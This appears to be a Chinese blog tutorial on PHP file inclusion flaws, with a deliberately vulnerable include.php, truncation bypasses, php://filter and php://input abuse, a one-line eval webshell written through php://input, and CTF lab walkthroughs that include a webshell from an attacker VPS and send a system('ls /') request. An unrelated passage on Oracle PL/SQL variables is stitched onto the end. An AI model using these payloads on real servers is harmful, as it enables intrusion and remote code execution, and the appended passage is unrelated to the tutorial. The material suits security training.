细说文件包含

什么是文件包含

以常见的php文件包含来说:服务器执行PHP文件时,可以通过文件包含函数加载另一个文件中的PHP代码,并且当作PHP来执行,这会为开发者节省大量的时间。但是,如果文件包含函数加载的参数没有经过过滤或者严格的定义,可以被用户控制,不幸包含了一个恶意文件,就可能造成文件包含漏洞。

怎么个节省时间呢?您可以创建供所有网页引用的标准页眉或菜单文件。当页眉需要更新时,您只更新一个包含文件就可以了,或者当您向网站添加一张新页面时,仅仅需要修改一下菜单文件(而不是更新所有网页中的链接)
几乎所有脚本语言都会提供文件包含的功能,但文件包含漏洞在PHP Web Application中居多,而在JSP、ASP、ASP.NET程序中却非常少,甚至没有,这是有些语言设计的弊端。在PHP中经常出现包含漏洞,但这并不意味这其他语言不存在。

脑图

本地包含

无限制的文件包含

这里举个例子,来演示一下:
在phpttudy的www目录下新建一个用于文件包含的文件include.php,代码如下:

<?php
    $filename  = $_GET['filename'];
    include($filename);
?>

include.php同级目录中,新建一个名为phpinfo.phpphpinfo.txt的文件,内容一样,如下:

<?php
phpinfo();
?>

当包含phpinfo.php文件时候,里面的代码就被当作php脚本给执行了。
在这里插入图片描述

有限制的文件包含

在文件上传中,上面的代码就是无限制的,随便你上传,但是,如果改一改include.php,代码如下:

<?php
    $filename  = $_GET['filename'];
    include($filename.".html");
?>

这就是一个有限制的php文件,限制了要包含的文件得是html格式的。无法直接文件包含。
在这里插入图片描述

绕过方式也很简单:
方案1:00截断
00截断条件:php版本< 5.3.4 ;php的magic_quotes_gpc为OFF状态。
在这里插入图片描述

注意文件包含的定义中,那段加粗的内容,“可以通过文件包含函数加载另一个文件中的PHP代码,并且当作PHP来执行”,像下面这样,一个txt文件也会当作php来执行,并拿到phpinfo信息
在这里插入图片描述

方案2:长度截断
条件:windows点号长度大于256;linux大于4096
解释:点号过多,导致无法检测.html后缀

直接包含是失败的
在这里插入图片描述

开始长度截断
在这里插入图片描述

在这里插入图片描述

多罗嗦一句,长度截断的时候,是在文件后缀后面添加/,然后反复添加././././././
下图中,第一个图因为不是在文件名后缀紧跟/,导致截断失败,上面两张图中可以看出,最后是以.结尾,或者/结尾都是不影响结果的。
在这里插入图片描述

方案2变形:点绕过
在文件上传中,提到过点绕过Pass-7-点绕过【黑名单绕过】
这里可以使用超多的点进行文件包含
在这里插入图片描述

远程文件包含

开启远程文件包含

能不能远程文件包含,需要看目标是否支持
在phpinfo中(本地包含)可以看到,我的phpstudy是不支持远程文件包含的
在这里插入图片描述

那我先开启一下(下图是演示一下开启,我后面php还是切换到低版本,方便00截断)
在这里插入图片描述

在这里插入图片描述

再进行检查,发现已经开启了
在这里插入图片描述

有限制的文件包含

加一个00截断
在这里插入图片描述

.绕过(此处失败)
在这里插入图片描述

加%23绕过
在这里插入图片描述

加%20绕过
在这里插入图片描述

伪协议

更详细的内容,参见php伪协议

PHP支持的伪协议

file:// — 访问本地文件系统
http:// — 访问 HTTP(s) 网址
ftp:// — 访问 FTP(s) URLs
php:// — 访问各个输入/输出流(I/O streams)
zlib:// — 压缩流
data:// — 数据(RFC 2397)
glob:// — 查找匹配的文件路径模式
phar:// — PHP 归档
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — 音频流
expect:// — 处理交互式的流

php.ini参数设置

在php.ini里有两个重要的参数allow_url_fopen、allow_url_include。

  • allow_url_fopen:默认值是ON。允许url里的封装协议访问文件;
  • allow_url_include:默认值是OFF。不允许包含url里的封装协议包含文件;

各协议的利用条件和方法

在第2、3列中,黑色的off/on表示开启或者关闭都无所谓,on表示必须是开启状态
在这里插入图片描述

一些案例

读取文件源码

用法:php://filter/read=convert.base64-encode/resource=[文件名]
举例:http://192.168.239.131/fileinclude/include.php?filename=php://filter/read=convert.base64-encode/resource=phpinfo.php

这里之所以进行base64编码,主要是因为有时候浏览器中看到的内容会有乱码,编码一下,会好一点
在这里插入图片描述

在这里插入图片描述

执行php代码

用法:

php://input + [POST DATA]
http://127.0.0.1/include.php?file=php://input
[POST DATA部分],如下:
<?php phpinfo(); ?>

举例:
在这里插入图片描述

额,,,,,不知道HackBar哪里出问题了,换BurpSuite吧
在这里插入图片描述

![image.png](https://img-blog.csdnimg.cn/img_convert/eb44ab066ce162da359074f7ad7ca30f.png#clientId=u98168298-a39a-4&from=paste&height=488&id=ub92367fa&margin=[object Object]&name=image.png&originHeight=488&originWidth=1403&originalType=binary&ratio=1&size=76510&status=done&style=none&taskId=u856e6242-9d4a-4d8a-a4b3-9c63211797b&width=1403)

写入一句话木马

用法:

http://127.0.0.1/include.php?file=php://input
[POST DATA部分],如下:
<?php fputs(fopen('shell.php','w'),'<?php @eval($_GET[cmd]); ?>'); ?>

举例:
在这里插入图片描述

写入的一句话木马内容:
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

额,,,,查了一下,蚁剑好像对GET的支持不大好。换POST型的一句话木马
在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

PHP://input伪协议

点开CTF靶场,长下图样子。
常用到伪协议的php://inputphp://filter,其中php://input要求allow_url_include设置为On,所以咱还是得看看phpinfo
在这里插入图片描述

  1. 查看phpinfo

通过网页下方的链接点开phpinfo
在这里插入图片描述

  1. 抓包,发现是GET型

在这里插入图片描述

  1. 命令执行,发现flag

在这里插入图片描述

  1. 命令执行,文件读取

在这里插入图片描述

远程包含拿shell

打开CTF靶场,如下
在这里插入图片描述

  1. 查看phpinfo

PHP的配置选项allow_url_include为ON的话,则include/require函数可以加载远程文件,这种漏洞被称为"远程文件包含漏洞(Remote File Inclusion RFI)"。

  • allow_url_fopen = On 是否允许打开远程文件
  • allow_url_include = On 是否允许include/require远程文件

在这里插入图片描述

方法1

  1. 既然要shell,就在vps上放一句话木马,让目标去包含它

由于我的vps默认是只开放22端口的,所以,这里仅作截图,不具体演示了
在这里插入图片描述

  1. 包含VPS的一句话木马

http://challenge-e9ac7ffd55790f05.sandbox.ctfhub.com:10800/?file=http://你的vps地址:8000/yjh.txt

  1. 连接成功后,查看一下文件内容即可

方法2:
使用跟上一节相同的方法

POST /?file=php://input HTTP/1.1
Host: challenge-e9ac7ffd55790f05.sandbox.ctfhub.com:10800
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.150 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Length: 25

<?php system("ls /");?>

在这里插入图片描述
在这里插入图片描述

参考

文件包含漏洞总结
Web安全实战系列:文件包含漏洞
php伪协议

  • 3
    点赞
  • 15
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
05-31
在Oracle中,PL/SQL是一种编程语言,允许开发人员编写存储过程、函数和触发器等程序对象。这些程序对象可以使用变量存储数据,其中包括全局变量和局部变量。 全局变量是定义在包中的变量,可以在包中的任何过程或函数中使用。在包中定义变量的语法如下: ``` CREATE OR REPLACE PACKAGE package_name AS variable_name datatype; ... END package_name; ``` 在这个包中,变量名为`variable_name`,数据类型为`datatype`。这个变量可以在这个包中的任何过程或函数中使用。 局部变量是在过程或函数中定义的变量,它们的作用域只在这个过程或函数中。在过程或函数中定义变量的语法如下: ``` CREATE OR REPLACE PROCEDURE procedure_name AS variable_name datatype; ... BEGIN ... END procedure_name; ``` 在这个过程或函数中,变量名为`variable_name`,数据类型为`datatype`。这个变量只能在这个过程或函数中使用,不能在其他过程或函数中使用。 全局变量和局部变量都可以存储不同类型的数据,例如数字、字符、日期等。在使用变量之前,需要先声明变量的类型和名称。在程序执行过程中,可以对变量进行赋值、修改等操作。 需要注意的是,在使用全局变量时,需要注意多个程序对象可能会同时访问同一个全局变量,因此需要考虑并发访问的问题。在使用局部变量时,需要注意变量的作用域和生命周期,确保变量只在需要的时候才会分配内存空间,并在不需要时及时释放内存空间,以避免资源的浪费。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值